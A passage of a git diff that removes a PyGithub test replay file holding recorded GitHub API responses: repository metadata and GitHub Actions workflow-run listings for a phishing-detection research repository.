:"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments","created_at":"2018-08-26T00:30:13Z","updated_at":"2020-10-10T08:06:04Z","pushed_at":"2020-10-18T06:42:23Z","git_url":"git://github.com/ReDASers/Phishing-Detection.git","ssh_url":"git@github.com:ReDASers/Phishing-Detection.git","clone_url":"https://github.com/ReDASers/Phishing-Detection.git","svn_url":"https://github.com/ReDASers/Phishing-Detection","homepage":"","size":30731,"stargazers_count":1,"watchers_count":1,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":11,"license":null,"forks":1,"open_issues":11,"watchers":1,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABZLTTAMCWRKWXDZRJKUCUC7TB64U","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":true,"delete_branch_on_merge":false,"organization":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"network_count":1,"subscribers_count":1} diff --git a/tests/ReplayData/PullRequest1682.test_no_parameters.txt b/tests/ReplayData/PullRequest1682.test_no_parameters.txt index 9058df8f89..c189b35812 100644 --- a/tests/ReplayData/PullRequest1682.test_no_parameters.txt +++ b/tests/ReplayData/PullRequest1682.test_no_parameters.txt @@ -1,11 +1,10 @@ -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runs -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"495f967d8e5ea816076d5c9280e00a5a9db93f660d4167d8a40bcf25f2aaefb6"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4915'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '85'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F147:4667:92835:F4905:5F987C9B')] -{"total_count":1374,"workflow_runs":[{"id":313400760,"node_id":"MDExOldvcmtmbG93UnVuMzEzNDAwNzYw","head_branch":"feature_selection","head_sha":"c59a85c5c4953cbd8e0664bf28f49a2dcd40fbdc","run_number":1088,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1357504836,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzU3NTA0ODM2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/313400760","pull_requests":[],"created_at":"2020-10-18T06:42:24Z","updated_at":"2020-10-18T07:53:13Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1357504836","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/313400760/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"c59a85c5c4953cbd8e0664bf28f49a2dcd40fbdc","tree_id":"935689d721c3d4d7e00e849e698cdf046e017322","message":"Updated feature selection settings","timestamp":"2020-10-18T06:42:18Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298894825,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODk0ODI1","head_branch":"master","head_sha":"510739cfa4abfcfbee293db5f0595d7b6bb3a071","run_number":1087,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1318333506,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4MzMzNTA2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298894825","pull_requests":[],"created_at":"2020-10-10T08:06:03Z","updated_at":"2020-10-10T08:24:56Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318333506","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298894825/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"510739cfa4abfcfbee293db5f0595d7b6bb3a071","tree_id":"99515d4a384553cfb694f22d6c66916affb96489","message":"Created feature_selection package (#256)\n\n* Implemented feature selection functions\r\n\r\n* Added imports\r\n\r\n* refactored Feature_Selection.py\r\n\r\n* Module docstrings","timestamp":"2020-10-10T08:06:00Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":298867254,"node_id":"MDExOldvcmtmbG93UnVuMjk4ODY3MjU0","head_branch":"feature_selection","head_sha":"c3796e68dd5102e4c4984225382e73d7ad0e1f15","run_number":286,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1318275001,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMzE4Mjc1MDAx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/298867254","pull_requests":[],"created_at":"2020-10-10T07:31:46Z","updated_at":"2020-10-10T07:34:24Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1318275001","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/298867254/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"c3796e68dd5102e4c4984225382e73d7ad0e1f15","tree_id":"99515d4a384553cfb694f22d6c66916affb96489","message":"Module docstrings","timestamp":"2020-10-10T07:31:34Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Det